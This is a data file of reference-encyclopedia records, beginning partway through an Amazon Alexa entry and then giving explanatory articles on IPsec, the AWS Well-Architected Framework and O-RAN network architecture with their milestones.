natural-sounding speech. One researcher showed how SSML can be used to teach Alexa to speak with a Boston accent.\n\n### What resources are available to learn about programming for Alexa?\n\nA good place to start is the Voice Design Guide. This includes a design checklist and a glossary. There are also guides on using Amazon Skill Builder.\n\nAs a tutorial, you can start with this 6-step tutorial to build a fact skill. An easier way to get started is to use Alexa Skill Blueprints. These are templates that you can customize to make your own skill. Alexa on GitHub contains open source code.\n\nThere are some useful developer tools. There are also open source frameworks for building voice apps. Two such frameworks are Jovo and Violet. These frameworks are cross-platform; that is, from a single codebase they can target Amazon Alexa, Google Assistant, etc. Though not open source, Alexa Flow is a tool to easily create, manage and host your custom skills without coding knowledge. An alternative is Storyline that offers a visual drag-n-drop design interface, previews, deployment and analytics. Many more tools, SDKs and platforms are listed in Wolter's blog.\n\nBlogs specific to Alexa are useful to get latest news or learn best practices. From the main Alexa website you can access all Alexa-specific documentation.\n\n## Milestones\n\nNov  \n2014\n\n**Amazon Echo** becomes available by invite only to select Amazon Prime customers. This is a voice-activated connected speaker that can act on user requests or answer basic questions. It's actually powered in the cloud by a virtual assistant called **Alexa**. \n\nJun  \n2015\n\nTo enable third-party integration of Alexa into their connected devices, **Alexa Voice Service (AVS)** is released. In April 2016, Invoxia becomes the first maker to release Alexa service on a non-Amazon device. Called *Triby*, it's a kitchen device that can set timers, play music or read sports scores. \n\nApr  \n2016\n\nThe **Alexa Smart Home API** is launched. In May 2017, with the **Smart Home Skill API**, both users and developers can use appliance categories (camera, light, smartlock, etc.) to easily identify device types. \n\nApr  \n2017\n\nAmazon brings out the **Alexa Skill Builder**, a more intuitive interface to build skills including the interaction model and multi-turn dialogues. Work on this started back in October 2016. \n\nApr  \n2018\n\nAmazon releases **Alexa Skill Blueprints**. These are skill templates that you can customize rather than develop custom skills from scratch. \n\nMay  \n2018\n\nDevelopers cannot sell Alexa skills but Amazon enables **In-Skill Purchasing (ISP)**. If a skill drives user engagement, Amazon also offers rewards to developers. Amazon releases a preview in which developers can choose any of eight U.S. English voices to narrate skills. This is powered by **Amazon Polly**. \n\nAug  \n2018\n\nAmazon releases **Alexa Auto SDK** on GitHub. Automobile makers can integrate Alexa directly into their vehicles. Amazon announces **Quick Start Templates** to accelerate skill development for popular skill samples.","meta":{"title":"Amazon Alexa","href":"amazon-alexa"}}
{"text":"# IPsec\n\n## Summary\n\n\nIPsec (IP Security) is a suite of security protocols added as an extension to the IP layer in networking. IPsec can ensure a secure connection between two computing devices over unprotected IP networks, such as the Internet. The nature of security threats which IPsec prevents are varied and constantly changing—such as man-in-the-middle attacks, sniffing, replay attacks. IPsec finds application in three security domains: Virtual Private Networks (VPNs), application-level Security and routing security. \n\nIPsec protocols cover the entire communication process – (1) Initial authentication of the two connecting devices (2) Confidentiality of transmitted data during actual communication.\n\nIPsec is a capability built over IP (IPv4 and IPv6) by means of additional headers. It consists of three distinct functions – authentication, confidentiality and key management.\n\nSimilar to IP itself, IPsec is an open standard maintained by the Internet Engineering Task Force (IETF).\n\n## Discussion\n\n### How does IPsec compare with other security techniques that exist at different OSI layers?\n\nNetwork server systems protect data in the network by supporting a variety of cryptography-based network security protocols. Key differentiating features of these protocols are:\n\n    + **IPsec:** Supports network-level peer and data origin authentication, data integrity, data encryption, and protection.\n    + **SSL (Secure Sockets Layer):** Doesn't require pre-shared key like in IPsec, uses public key cryptography to negotiate handshake and securely exchange encryption keys. Useful for bypassing firewalls and port-based traffic blocking.\n    + **TLS (Transport Layer Security):** Cryptographic algorithms based on cipher suite that server and client negotiate. Uses SSL protocol.\n    + **HTTPS:** Sets up encrypted link using TLS. Data transfer is encrypted between browser and web server, preventing cyber criminals from reading or altering data.\n    + **SNMP (Simple Network Management Protocol):** User-based Security Model (USM) which provides different levels of security based on the user accessing managed information. Uses authentication and data encryption for privacy.\n    + **OSPF (Open Shortest Path First) Authentication:** Dynamic routing protocol. Supports message authentication and integrity of OSPF routing messages. Unauthorized IP resource cannot inject messages into network without detection. Ensures integrity of routing tables in the OSPF routing network.\n\n### What's the architecture of IPsec protocol suite?\n\nIPsec specifies procedures, components, their inter-relationship and the general process required to provide security services at IP layer.\n\nIPsec is a suite of three transport-level protocols used for authenticating the origin and content of IP packets and optionally for data payload encryption. Applications can invoke IPsec on IP datagrams that are security enabled in the IPsec global policy file on system-wide or per-socket level. \n\nKey components of IPsec architecture include:\n\n    + **Security Associations (SA):** Specifies security properties recognized by communicating hosts. Hosts require two SAs to communicate securely, one for each direction. Prior to transmission of protected datagrams, they agree upon specific security protections, cryptographic algorithms, secret keys to be applied and specific types of traffic to be protected.\n    + **IPsec Protocols:** AH (Authentication Header) and ESP (Encapsulating Security Payload) protocols are for authentication. They contain proof of data source, data integrity and anti-replay protection. The third protocol IKE (Internet Key Exchange) is a hybrid protocol used for peer authentication and key exchange processes before actual data transfer begins.\n    + **IPsec modes:** Both protocols (AH & ESP) support two modes - transport mode & tunnel mode.\n\n### What are the services offered by IPsec?\n\nIPsec offers a number of services: access control, connectionless integrity, data origin authentication, rejection of replayed packets, confidentiality (encryption), and limited traffic flow confidentiality. \n\n\n### What are the primary applications of IPsec?\n\nIPsec enables secure communication over the Internet, independent from the application or higher protocols. It supports network layer security, but it's compatible with schemes providing security at application layer. It provides secure communication across LAN, private/public WAN and the Internet.\n\n(1) An enterprise may establish a secure VPN connection over a public WAN or Internet. IPsec minimises the need for a private network and hence saves costs. Ensures authentication, confidentiality and encryption. Application scenarios include: \n\n    + Secure connection between head office and branches (client-server)\n    + Different branches (peers) of same company\n    + Workers connect to company intranet remotely\n    + Intranet or extranet connectivity with partners (partner organizations, payment gateways, third party transactions)(2) Security for e-commerce applications, mainly B2B. IPsec enhances existing application-level security features. Customer-oriented commerce is primarily web based and uses SSL.\n\n(3) Network diagnostics for debugging connections. A tunnel is initiated with a ping from the remote device.\n\n(4) IPsec usage in a 4G network, simple end-to-end implementation between the mobile device and the services network peer (security gateway, server or another peer). \n\n\n### What are the security protocols in the IPsec suite?\n\nIPsec protocol suite mainly consists of these protocols:\n\n    + **Authentication Header (AH):** AH is an extension header to provide data integrity, authentication and anti-replay but it doesn't provide encryption. Anti-replay protection ensures partial sequence integrity and protects against unauthorized transmission of packets. Implements strong hashing algorithms to provide data integrity. AH doesn't provide data confidentiality.\n    + **Encapsulating Security Payload (ESP):** ESP consists of an encapsulating header and trailer. Provides all that AH offers (data integrity, encryption, authentication and anti-replay). It additionally provides authentication for payload data using symmetric key encryption. Uses encryption algorithms such as GCM, DES, 3DES, and AES. Set of services provided depends on options selected at the time of Security Association (SA) establishment and location of the implementation in a network topology.\n    + **Internet Key Exchange (IKE):** IETF-specific key managing protocol for exchanging and negotiating security policies. Supports manual or dynamic association of management in cryptographic keys. Can be used outside IPsec as well.\n    + **Cryptographic algorithms:** For encryption, message authentication, pseudorandom functions (PRFs), and cryptographic key exchange.\n\n### Can you explain the different authentication modes in IPsec?\n\nFor authentication, both AH and ESP support two modes of use: transport and tunnel mode. Authentication can be applied to the entire original packet (tunnel mode) or to the packet contents except the IP header (transport mode). \n\n    + **Transport Mode**: Client to client. Covers most of the original packet. Original IP packet is used with ESP and AH Headers, then original IP Header is reused in front of ESP and AH Headers. This mode doesn't change the IP packet header. Only IP protocol field is changed to 51 (AH) or 50 (ESP), and checksum of IP packet header is recalculated. This mode is used when we have end-to-end control of the network, so that there will be no packet manipulation through the network.\n    + **Tunnel Mode**: Covers entire original packet. Inserts the original packet in a new IP packet, a new IP Header is added in front of the ESP and AH Headers. Original IP packet header is hidden. This mode is used in communications between VPN gateways or between a host and a VPN gateway. Tunnel Mode is the default option.\n\n### How does IPsec implementations vary between IPv4 and IPv6?\n\nSecurity concerns were raised over IPv4. As a result, IPsec was first developed for the newest version of Internet Protocol (IPv6), then retrospectively added for IPv4. It was included as a mandatory feature in the IPv6 standards whereas it's optional and must be supported externally in IPv4. \n\nBy design, IPv6 is more secure from IP address scanning attacks, as its address space is huge. So IP scanning techniques in networks may not work to find possible computers with security vulnerabilities, as it could take years. \n\nIPsec in IPv4 is widely used for VPNs. These are terminated at the edge of networks. In IPv4, IPsec is generally not used to secure end-to-end traffic because of the widespread use of Network Address Translation in IPv4, called *NAT44*. NAT mangles the IPv4 headers and breaks IPsec. This restriction doesn't exist in IPv6, so that using IPsec end-to-end becomes more practical. \n\n\n### What are the disadvantages of IPsec?\n\n    + **Over-reliance on public keys:** If a network has poor key management or the integrity of the keys is compromised then the IPsec security factor is lost.\n    + **Performance overhead:** High CPU usage because all data that passes through the server has to be encrypted and decrypted. When data packet size is small, network performance suffers due to large IPsec overhead. May need to use hardware appliances such as VPN Concentrators.\n    + **Wide access range of privileges:** Giving access to a single device in IPsec-based network can give access privileges for other devices too. So if any device in a home network is compromised, it might affect the corporate network that is connected from the home network (through the IPsec tunnel).\n    + **Implementation complexity:** IPsec contains many options and high flexibility, which makes it popular. But also adds to its complexity.\n    + **Network compatibility issues:** When we are connected to an IPsec-based VPN, we can't connect to another network due to restrictions in firewalls. Also, IPsec doesn't provide support for multi-protocol and IP multicast traffic.\n\n\n## Milestones\n\n1980\n\nThe first formal standard (or public) version of IPv4 is created as **TCP/IP v4** and defined in RFC 760. \n\n1992\n\nThe IETF group for defining the **IP security protocol (IPsec)** is constituted. It actively starts functioning in 1993. \n\n1994\n\n**Network Address Translator (NAT)** is published in RFC 1631. NAT is a technology used to prolong IPv4 availability. It works by translating a private address in an internal network into legal public addresses. \n\n1995\n\n**IPsec** protocols are formally defined and published in **RFC 1825 through RFC 1829**. \n\n1998\n\nIETF publishes IPv6 specification to overcome the limitations of IPv4. IETF initiated the design and development of IPv6 back in 1994. Also in 1998, IPsec protocol definitions are superseded by **RFC 2401** and **RFC 2412**. The mutual authentication and key exchange protocol Internet Key Exchange (IKE) is added to IPsec to create and manage Security Associations. \n\n2005\n\nLatest version of IPsec protocol suite is released with important updates to IKE and ESP protocols, as defined in **RFC 4301** and **RFC 4309**. These documents standardize the abbreviation of IPsec to uppercase \"IP\" and lowercase \"sec\". \n\n2008\n\nAn IPsec Maintenance and Extensions (ipsecme) working group is formed at the IETF.","meta":{"title":"IPsec","href":"ipsec"}}
{"text":"# AWS Well-Architected Framework\n\n## Summary\n\n\nCloud platforms offer a number of services. A typical application can use one or more of these services, each of which can be configured in a number of different ways. Applications deployed on dedicated on-premise servers usually need to be re-architected before migrating them to the cloud. Each application is different and therefore deploying an application to the cloud is usually not a trivial task.\n\nAmazon Web Services (AWS) is one of the big cloud platforms. **AWS Well-Architected Framework** offers a set of guidelines and best practices to help practitioners migrate, manage and optimize their applications and their operations on the AWS cloud. By adopting this framework, we can build and deploy faster, lower or mitigate risks, make informed decisions, and learn AWS best practices.\n\n## Discussion\n\n### What exactly does the AWS Well-Architected Framework provide?\n\nThe framework is made of pillars, design principles and questions. \n\nPillars are foundational to produce stable and efficient systems. By paying attention to these pillars, we can meet expectations and requirements. Moreover, we can focus on our applications and its functional requirements rather than fight with infrastructure issues. For each pillar, the framework lists a number of design principles. \n\nFor a practitioner, the framework is, \n\n> A set of foundational questions that will allow you to measure your architecture against these best practices and to learn how to address any shortcomings.\n\nOnce shortcomings are identified, along with possible solutions, how much and how quickly you implement these will depend on the complexity of the task and the required skill sets. \n\n\n### What are the pillars of AWS Well-Architected Framework?\n\nThere are six pillars:  \n\n    + **Operational Excellence**: Align with business objectives. Give alerts and respond to them in an automated manner. Perform operations with code. Make incremental changes. Learn from failures. Test for responses to unexpected events. Document current procedures.\n    + **Security**: Protect information, systems and assets. Do risk assessments. Have mitigation strategies. Secure at all layers. Enable traceability. Implement a principle of least privilege. Automate best practices. Areas include Identity and Access Management (IAM), detective controls, infrastructure protection, data protection, and incident response.\n    + **Reliability**: Automatically recover from infrastructure or service disruptions. Test recovery procedures. Scale horizontally to increase availability. Stop guessing capacity. Choose instance type based on application needs. Use multiple availability zones.\n    + **Performance Efficiency**: Make efficient use of resources. Enable latency-based routing. Adopt latest technologies and architectures. Experiment more often.\n    + **Cost Optimization**: Avoid unneeded costs. Assess resource utilization. Analyze and attribute expenditure. Match supply and demand. Optimize over time. Delete unused resources. Use consolidated billing, spot instances, and reserved instances. Rightsize before/after migrations.\n    + **Sustainability**: Reduce the environmental impact of cloud workloads. Understand impact. Maximize resource utilization.\n\n### Which AWS services can help in implementing AWS Well-Architected Framework?\n\nHere we mention a few of them without being exhaustive:\n\n    + **Operational Excellence**: Services are available in areas of preparation, operations, responses. AWS Developer Tools, RunCommand, AWS Batch, AWS CloudFormation and AWS Config can be used in all three areas. Use AWS CloudTrail and AWS CloudWatch for operations and responses.\n    + **Security**: IAM, MFA Token, Amazon VPC, AWS CloudFormation, AWS Config, AWS CloudTrail, AWS CloudWatch, Elastic Load Balancing, Amazon S3, Amazon RDS, and AWS Key Management Service are some services to use.\n    + **Reliability**: Use AWS CloudFormation and Multi-AZ for failure management. For change management, use Auto Scaling.\n    + **Performance Efficiency**: Use AWS Lambda instead of running EC2 instances. Use Amazon CloudFront and Route 53 to reduce latency.\n    + **Cost Optimization**: Release Elastic IPs, EBS volumes or RDS instances if not attached to other services. Move archived data from S3 to Glacier. Use EC2 Scheduler to automatically manage start/stop of instances. Use AWS CloudFormation to automate and save time. Amazon SNS can help with expenditure awareness. Use reserved/spot instances. Use AWS GuardDuty for low-cost security monitoring.\n\n### What are the design principles and best practice areas within AWS Well-Architected Framework?\n\nWhile there are design principles specific to each pillar, some general principles include the following: \n\n    + Stop guessing your capacity needs.\n    + Test systems at production scale.\n    + Automate to make architectural experimentation easier.\n    + Allow for evolutionary architectures.\n    + Build data-driven architectures.\n    + Improve through game days.A blog article online explains the above and cites relevant AWS services for each.\n\n\n### Could you share some user stories that show the benefits of applying AWS Well-Architected Framework?\n\nNational Instruments started developing on AWS in 2008. In 2013, they started adopting the AWS Well-Architected Framework. Since 2015, all their cloud products follow the framework. \n\nOnce they adopted the framework, their scaling latency dropped from 30 minutes to 5 minutes; they optimized from overprovisioning; they removed dependency on data center; and increased developer efficiency. \n\nBefore adopting the framework, they took too long to deploy code and scale operations. Since there wasn't much automation, manual intervention was high and operators suffered from alert fatigue. For better security, they adopted IAM rather than give use Root API key. Their roadmap includes multi-region disaster recovery. \n\nAmong the tools used or they plan to use are CloudTrail, Amazon Inspector, AWS WAF, AWS Certificate Manager, AWS Config, CloudFormation, Elastic Load Balancing, VPC, CloudFront, Route 53, Multi-AZ, and more.\n\n\n### What capabilities does AWS offer to implement the AWS Well-Architected Framework?\n\nThe **AWS Well-Architected Tool** reviews a workload against best practices and guidance set by the pillars of the Framework. A workload is nothing more than code and resources used by a cloud application. By applying the tool to a workload, we get to know the problem areas and the steps to solve those problems. This tool can be accessed from the AWS Management Console. There's no additional charge to using this tool. \n\nWorkloads come in different types or are part of different domains. Each industry or technology domain may require specialized reviews. This is exactly where **AWS Well-Architected Lenses** become relevant. Each lens is customized to a specific workload type. Each lens provides reference architectures, design principles and walkthroughs. AWS comes with many such lenses: Data Analytics Lens, Healthcare Industry Lens, Container Build Lens, SAP Lens, Serverless Applications Lens, and many more. Moreover, users can create custom lenses. \n\nThere's also **AWS Well-Architected Guidance**. It focuses on specific use cases or implementation scenarios. This is often in the form of whitepapers. \n\n\n### Could you name some AWS partners or firms offering consulting on AWS Well-Architected Framework?\n\nThere are many vendors providing managed services for AWS. Some of them are recognized by AWS as AWS Well-Architected Framework Review (WAFR) partners. These partners typically ask questions to evaluate your architecture in terms of the framework and suggest ways to improve on the five pillars. \n\nReviews may use the AWS Well-Architected Tool. A review should focus on only one workload. Each pillar is addressed and prioritized as per business needs. Various stakeholders can participate during the review but there must be a solution architect who's an expert in AWS. \n\nA small sample of such partners include BJSS, Contino, Endava, Foghorn Consulting, Idexcel, KCOM, Logicworks, nClouds, Onica, Piksel Group, Relium, Steamhaus, Telefonica, and Version1.\n\n## Milestones\n\n2012\n\nWithin AWS Principal Engineering community, an initiative called **Well-Architected** is started. The aim is to share with customers best practices for architecting in the cloud. \n\nOct  \n2015\n\nIn a blog post, **AWS Well-Architected Framework** is announced. The author asks, \"Have you chosen a cloud architecture that is in alignment with the best practices for the use of AWS?\" The framework consists of four pillars.\n\nSep  \n2016\n\nEnterprise Support customers get access to a Well-Architected Review for business critical workloads. This review, delivered by an AWS Solutions Architect, provides guidance and best practices to design reliable, secure, efficient, and cost-effective systems in the cloud. \n\nNov  \n2016\n\nThe framework introduces **Operational Excellence** as the fifth pillar. \n\nNov  \n2017\n\nAt the AWS re:Invent event, **AWS Well-Architected Partner Program** is launched. Partners can use the principles and best practices of the framework to review a customer's use of AWS services. They guide them towards building secure, performant, and resilient infrastructure to support their applications. Also in November, AWS announces **AWS Well-Architected Lenses** while also releasing two lenses: one for High-Performance Computing (HPC) and one for serverless applications. In November 2021, AWS allows the creation and use of custom lenses. \n\nNov  \n2018\n\nAWS blog reports the launch of **AWS Well-Architected Partner Program** at re:Invent event. At this time, there are more than 30 approved partners. Also in November, the **AWS Well-Architected Tool** is introduced. This tool reviews workloads against best practices and gives suggestions. API integration with this tool comes in 2020. \n\nDec  \n2021\n\nThe framework introduces **Sustainability** as the sixth pillar. This pillar focuses on reducing the environmental impact of any cloud workload via more optimized resource usage and increased efficiency.","meta":{"title":"AWS Well-Architected Framework","href":"aws-well-architected-framework"}}
{"text":"# O-RAN\n\n## Summary\n\n\nTraditionally, mobile network operators relied on network equipment vendors for RAN hardware. Vendors are few in number and their equipment is specialized and expensive. With 4G/5G, small cell deployments are more common, which is driving up deployment and maintenance costs.\n\nThe real problem is that operators are at the mercy of vendors. Vendors implement proprietary protocols and technologies resulting in vendor lock-in. O-RAN changes this by enabling multi-vendor deployments and open interoperable interfaces. O-RAN also enables virtualization and AI-based optimization. \n\nO-RAN is a set of standards that specifies open RAN interfaces, nodes, profiles and services. The operator-led O-RAN Alliance oversees the development of O-RAN. It also facilitates interoperability testing. Operators can therefore buy O-RAN compliant hardware from any vendor. To speed up adoption and innovation, O-RAN Alliance sponsors open source development of RAN software.\n\n## Discussion\n\n### Who started O-RAN and how are they organized?\n\nThe main organization behind O-RAN standards is the **O-RAN Alliance**. This was started in February 2018 by five mobile network operators AT&T, China Mobile, Deutsche Telekom, NTT DOCOMO and Orange. In fact, the Alliance was a merger of xRAN Forum (led by NTT DOCOMO) and C-RAN Alliance (led by China Mobile).  \n\nBy mid-2020, O-RAN Alliance expanded to 24 global operators and 148 contributors. Contributors include chipset manufacturers, network equipment manufacturers, radio element manufacturers, software vendors, service providers, and academic institutions. Despite this diversity, the Alliance is led by operators. Operators are the only members who get to vote at the AGM. \n\nO-RAN Alliance defines RAN standards and supports members towards interoperability testing. In cooperation with the Linux Foundation, it also sponsors the **O-RAN Software Community (SC)** for open source development for the RAN. Thus, O-RAN Alliance defines open architecture and specifications that O-RAN SC uses to develop open source software for industry deployment. \n\nUltimately, O-RAN Alliance's mission is, \n\n> To reshape the RAN industry towards more intelligent, open, virtualised and fully interoperable mobile networks.\n\n\n### Could you clarify the terms Open RAN, OpenRAN,  O-RAN, vRAN and C-RAN?\n\n**Open RAN** is a generic term that refers to open RAN architectures including open interfaces, virtualization, and use of AI. \n\n**OpenRAN** is a project initiated by the Telecom Infra Project (TIP). It's an attempt to realize the Open RAN concept. Its work covers 2G/3G/4G/5G. As inputs, OpenRAN uses 3GPP and O-RAN specifications. \n\n**O-RAN** can refer to the O-RAN Alliance or standards created by the Alliance. It complements 3GPP specifications by defining interface profiles, new open interfaces and new nodes. O-RAN addresses 5G RAN interfaces including the X2 interface between 4G and 5G base stations. \n\n**vRAN (Virtualized RAN)** makes the RAN software-defined and programmable. Whereas Open RAN focuses on openness, vRAN is really about moving functionality from hardware to software. vRAN started in 4G with proprietary interfaces, later extended to 2G/3G (OpenRAN) and 5G (OpenRAN or O-RAN). \n\n**C-RAN (Cloud RAN)** is vRAN built on cloud native technologies, such as microservices, containers and CI/CD. Confusingly, C-RAN is also sometimes used to mean Centralized RAN where processing is centralized in CU or DU, away from RU.  \n\n\n### When 3GPP has already standardized RAN, why do we need O-RAN?\n\nNG-RAN nodes are not designed as monoliths. They are disaggregated such that multiple Radio Units (RUs) connect to a Distributed Unit (DU) and multiple DUs connect to a Centralized Unit (CU). The RU-DU link is called **fronthaul**. The DU-CU link is called **midhaul**. The CU-Core link is called **backhaul**. \n\n3GPP has standardized many NG-RAN interfaces: NG (NR-RAN and 5GC), Xn (gNB and gNB/ng-eNB), X2 (gNB and eNB), F1 (gNB-DU and gNB-CU), W1 (ng-eNB-DU and ng-eNB-CU), and E1 (gNB-CU-CP and gNB-CU-UP). However, fronthaul interfaces have not been standardized, thus forcing operators to buy RU and DU hardware from the same vendor. Moreover, X2 was seen as an optional interface. Vendors often added proprietary techniques to this interface. Therefore, when expanding to 5G NR, a 4G/LTE operator with eNB equipment is forced to buy gNB equipment from the same vendor. \n\nO-RAN standardizes the fronthaul. It opens up new interfaces including A1/O1/O2/E2. It specifies aspects of RAN virtualization. It also standardizes F1/W1/E1/X2/Xn interfaces already covered by 3GPP but the intention is to complement 3GPP standards. For example, O-RAN specifies profiles. \n\n\n### What's the O-RAN architecture?\n\nO-RAN reference architecture disaggregates the RAN into RU, DU and CU. Moreover, user plane (UP) and control plane (CP) are disaggregated. RRC, SDAP and PDCP are in CU. Given a lower layer functional split, RLC, MAC and higher-PHY are in DU; lower-PHY and RF are in RU. \n\nA key functional module is the RAN Intelligent Controller (RIC). This is decomposed into two parts based on real time (RT) capabilities: \n\n    + **RIC non-RT**: Execution exceeding 1s. Part of the Orchestration/NMS layer. Functions include service and policy management, RAN analytics and model training for RIC near-RT. Core algorithms are developed by operators.\n    + **RIC near-RT**: Execution within 1s. Next generation RRM that uses AI/ML models trained and passed on from RIC non-RT. Functions include load balancing, RB management, interference detection/mitigation, QoS management, connectivity management and seamless handover control. A robust, secure and flexible platform for third-party applications.RIC near-RT uses the **Radio-Network Information Base (RNIB)**, which gets near-RT state of the radio network via E2 and commands from RIC non-RT via A1. RIC near-RT and Multi-RAT CU platform are often virtualized so that capacity can be distributed across multiple network elements. \n\n\n### Which are the interfaces relevant to O-RAN?\n\nThe NG interface connects NG-RAN to 5G Core. It's completely specified by 3GPP. Otherwise, O-RAN interfaces include: \n\n    + **Open Fronthaul**: DU-RU lower layer functional split. Consists of Control, User and Synchronization (CUS) plane and Management plane. Although Common Public Radio Interface (CPRI) is a standard commonly used at fronthaul, vendors often modified it in proprietary ways. O-RAN standardizes this interface.\n    + **A1**: Carries network or UE-level information from eNB/gNB to RIC non-RT to optimize network and ensure SLAs.\n    + **E2**: Interfaces RIC near-RT with CU/DU. Carries measurements from CU/DU and configuration commands to CU/DU.\n    + **F1/W1/E1/X2/Xn**: Existing 3GPP interfaces but enhanced by O-RAN for multi-vendor interoperation. Interfaces to Multi-RAT CU platform. F1 is the CU-DU higher layer functional split.\n    + **O1**: An Operations and Maintenance (OAM) interface. Functions include management of provisioning, fault supervision, performance assurance, tracing, files, heartbeat, and Physical Network Function (PNF) software.\n    + **O2**: Service provider functionality resides in Service Management and Orchestration (SMO) while cloud provider functionality resides in O-Cloud. This interface connects the two. It's decomposed into cloud infrastructure management and deployments on the infrastructure.\n\n### What are O-RAN Workgroups and Focus Groups?\n\nThe work of O-RAN is organized into workgroups. These include **WG1**: Use Cases and Overall Architecture, **WG2**: The Non-real-time RAN Intelligent Controller and A1 Interface, **WG3**: The Near-real-time RIC and E2 Interface, **WG4**: The Open Fronthaul Interfaces, **WG5**: The Open F1/W1/E1/X2/Xn Interface, **WG6**: The Cloudification and Orchestration, **WG7**: The White-box Hardware Workgroup, **WG8**: Stack Reference Design, and **WG9**: Open X-haul Transport. \n\nIn addition, there are a few focus groups: \n\n    + **Standard Development Focus Group (SDFG)**: Strategizes standardization effort. Coordinates and liaises with other standard organizations.\n    + **Test & Integration Focus Group (TIGF)**: Defines test and integration specifications across workgroups.\n    + **Open Source Focus Group (OSFG)**: Successfully established O-RAN SC. Otherwise, it's currently dormant.\n\n### In O-RAN, what is meant by white-box hardware?\n\nWhite-box implies general purpose vendor-neutral hardware, often called **Commercial Off-the-Shelf (COTS) hardware**. White-box hardware is common in IT. With O-RAN, it's coming to telecom. \n\nWhite-box hardware is expected to bring down deployment costs. It enables decoupling of hardware and software. It opens up the market to small players. Hardware vendors can make equipment conforming to O-RAN white-box specifications without worrying about the complexity of software. Operators and software vendors can focus on software with the foreknowledge of the hardware. \n\nO-RAN specifies \"high performance, spectral and energy efficient white-box base station hardware\". It publishes reference hardware designs and software architecture for both O-DU and O-CU, where the prefix \"O-\" signifies O-RAN specification. \n\nO-RAN has defined hardware requirements for different deployment scenarios (indoor pico, outdoor pico/micro/macro, IAB) and different architectures (split vs integrated). Performance requirements are specified in terms of peak data rate, peak spectral efficiency, bandwidth, latency, and mobility. Among the different split architectures, WG7 has considered options 6 (all PHY in O-RU), 7-2 (lower PHY in O-RU, higher PHY is O-DU) and 8 (all PHY in O-DU). \n\n\n### Could you share details on O-RAN slicing?\n\nNetwork slicing is defined primarily by 3GPP but there are aspects studied by ONAP, ETSI and GSMA. O-RAN includes a slicing framework and architecture to realize 3GPP's network slicing. In particular, there's impact on RIC, O-CU, O-DU, and A1/E2/O1/O2 interfaces. \n\nA network slice has two parts, RAN slice and CN slice. O-RAN slicing is concerned with only RAN slices. Non-RT RIC should be aware of RAN slices, slice configuration and performance metrics. These become inputs to AI/ML models for slice assurance and optimization that's done over O1 interface. \n\nDynamic slice optimization is done by Near-RT RIC to prevent SLA violations. Near-RT RIC collects slice performance metrics over E2 interface, applies its algorithms and optimizes slices over E2. \n\n3GPP defines Network Slice Management Function (NSMF) and Network Slice Subnet Management Function (NSSMF). For these functions, O-RAN provides multiple deployment options. They can be within or outside the SMO. \n\n\n### What are some challenges when it comes to adoption of O-RAN or Open RAN in general?\n\nEven if operators introduce O-RAN compliant hardware for 4G/5G, their earlier investments in legacy equipment prevent them from reaping the benefits of a single virtualized and flexible RAN architecture. Lack of fibre or cost-efficient transport can be bottleneck for deployment of open fronthaul and midhaul. \n\nSome network vendors such as Ericsson and Huawei are holding out against O-RAN. Huawei hasn't joined the O-RAN Alliance. It believes that its integrated offering is more performant that can't be matched by disaggregated white-box hardware. However, Huawei supports the ONAP initiative for better interoperability. \n\nDetractors of O-RAN believe that disaggregated hardware can compromise overall network security. \n\nIt's been said that the \"main issue with disaggregation is aggregation\". While disaggregated multi-vendor hardware is attractive, it's not trivial to integrate and achieve an end-to-end interoperable solution. Operators have the challenge of selecting the right hardware from multiple vendors and also build in-house integration expertise. On the other hand, there's a new opportunity for system integrators. \n\n\n### What are some useful resources to know more about O-RAN?\n\nO-RAN specifications can be downloaded for free but requires acceptance of O-RAN ALLIANCE Adopter License Agreement. \n\nTo follow the status of O-RAN open source implementation, visit the homepage of O-RAN SC. The site includes documentation of the latest release.\n\n## Milestones\n\n2016\n\nThe **Telecom Infra Project (TIP)** is founded to address the lack of innovation, high costs and a closed ecosystem ruling the telecom world. It's starts the **OpenRAN** initiative. OpenRAN is meant to spur innovation, enable supplier diversity and reduce costs. First OpenRAN trials start in 2017, in India and Latin America, particularly in rural areas where user base is low and Average Revenue Per User (ARPU) is also low. \n\nFeb  \n2018\n\nOperators AT&T, China Mobile, Deutsche Telekom, NTT DOCOMO and Orange come together and start the **O-RAN Alliance**. O-RAN Alliance creates standards, unlike TIP that doesn't create standards but promotes OpenRAN. \n\n2019\n\nIn an online article, Tamaskar of Radisys writes that 2019 may be the year for Open RAN. She notes the work of both O-RAN Alliance and Telecom Infra Project (TIP). We may see more collaboration between these two groups. Just as Self-Organizing Network (SON) brought automation to RAN management, planning and optimization, O-RAN will use AI to automate operations and reduce costs. \n\nFeb  \n2019\n\nRakuten announces the world's first virtualized, cloud-native greenfield 4G network. However, it's not based on O-RAN standards. It's based on Nokia's X2 interface, that Nokia opened up for integration with another vendor. \n\nJun  \n2019\n\nO-RAN WG5 publishes **O-RAN NR profiles for EN-DC (E-UTRA New Radio Dual Connectivity)** for both C-plane and U-plane. Initial 5G deployments are expected to be in *Non-Standalone (NSA)* mode, in which a UE will connect to LTE/eNB as master node and via Dual Connectivity connect to 5G/gNB as slave node. This is referred to as *EN-DC* or *option 3*. This deployment option was first standardized by 3GPP in Release 15 (early drop) in December 2017. \n\nSep  \n2019\n\nNTT DOCOMO claims to be the world's first to deploy multi-vendor RAN conforming to O-RAN specifications. Its new pre-commercial 5G service is deployed with its existing 4G network. This is what we call 5G NSA network that makes use of X2 interface between 4G and 5G base stations. \n\nNov  \n2019\n\nThe O-RAN Software Community releases the first version (Amber Release) of its **open source software**. Since O-RAN specifications continue to be developed, this must be considered as pre-specification software with limited capabilities. Subsequent releases include Bronze Release (June 2020) and Cherry Release (December 2020). \n\nFeb  \n2020\n\nMavenir founds the **Open RAN Policy Coalition (ORPC)**. This is a coalition to promote policies leading to open interoperable RAN solutions. It's not a standardization body. In May, Nokia joins ORPC. In January 2021, ORPC joins a coalition of coalitions that includes BSA, GSMA, CableLabs, and TIP. \n\nMay  \n2020\n\nO-RAN Alliance and GSMA announce partnership to accelerate the adoption of Open RAN and thereby benefit from new virtualization architectures. This follows an earlier announcement in February when O-RAN Alliance partnered with TIP. \n\nJul  \n2020\n\nNokia and Samsung announce **OpenRAN products for 5G**. Meanwhile, Ericsson and Huawei make no similar announcements, though Ericsson is a contributor in O-RAN Alliance. \n\nDec  \n2020\n\nThe O-RAN Software Community makes the **Cherry Release** of O-RAN open source software. It's aligned with latest O-RAN specifications and brings the implementation closer to commercial deployments.","meta":{"title":"O-RAN","href":"o-ran"}}
